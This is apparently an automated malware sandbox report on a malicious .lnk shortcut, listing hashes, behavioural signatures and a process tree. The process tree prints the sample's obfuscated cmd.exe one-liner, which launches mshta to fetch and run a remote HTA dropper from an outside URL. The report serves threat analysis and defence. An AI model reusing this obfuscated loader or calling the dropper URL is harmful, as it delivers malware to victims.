Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:09
Static task
static1
Behavioral task
behavioral1
Sample
DOC-J7M1MR.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-J7M1MR.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-J7M1MR.lnk
- Size 2KB
- Sample260803-qd7mysaa37
- SHA256 bab610b186db2acb9ac38190bc00a18b3c08aaa94692ba20c7fcb41a9703501d
- MD5 365ab17306869b045113073790cc62de
- SHA1 892b6961e55620d2b105fd239ed6ff1d9c656ded
- SHA512 f507218b32569e893d75011dadda1f4de89d34c01a495ab0a56dc74d50bc6fdeb676cbfa9538e5802f63a4e33cee1be73a2148f893a47a2ed6f7a862ad6c2285
- TLSH T14751449026F90198F2FB8E37EEBA2B9048BBBC516E20C5CD1840824D4431B41E977B73
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 896 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 896 wrote to memory of 3904 896 cmd.exe 90 PID 3904 wrote to memory of 204 3904 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-J7M1MR.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:896 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set lDizj=dbgshmkkdbg&set JRrT=esm&&set mmXoQ=2tarty&set RDM=oldgbuwwjeanlxbjoqpmaemstold&set EM=infhdmywczqxngwukfhmbinf&set FPcH=winaqfawin&set vsNW=sysrenfhkcwrgywpsys&set AZpY=bakgokpwuhkkkalimbak&set nioPG=bakrmycrwpfiwzubak&set rF=cacheldlscipcache&set bgKi=f0ms1if&&set tL=cmthzv&&set TrvN=dtaz&set hKlo=dbgtlanibgyunnfnwdbg&set zjSPZ=logpjfiyfhzzsgyrpynrstalog&set BW=netyopfcinlmeevbjplvenet&set HJ=logiueilog&&set jKzQ=htt@p@s@:/@/b@o@-pd@ffill@er@.@lat@/@h/e@s@[email protected]@p?r=36076@1F157@94&&start /b !bgKi:~2,2!!tL:~3,1!!TrvN:~1,2! !jKzQ:@=!"2⤵
- Suspicious use of WriteProcessMemory
PID:3904 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:204
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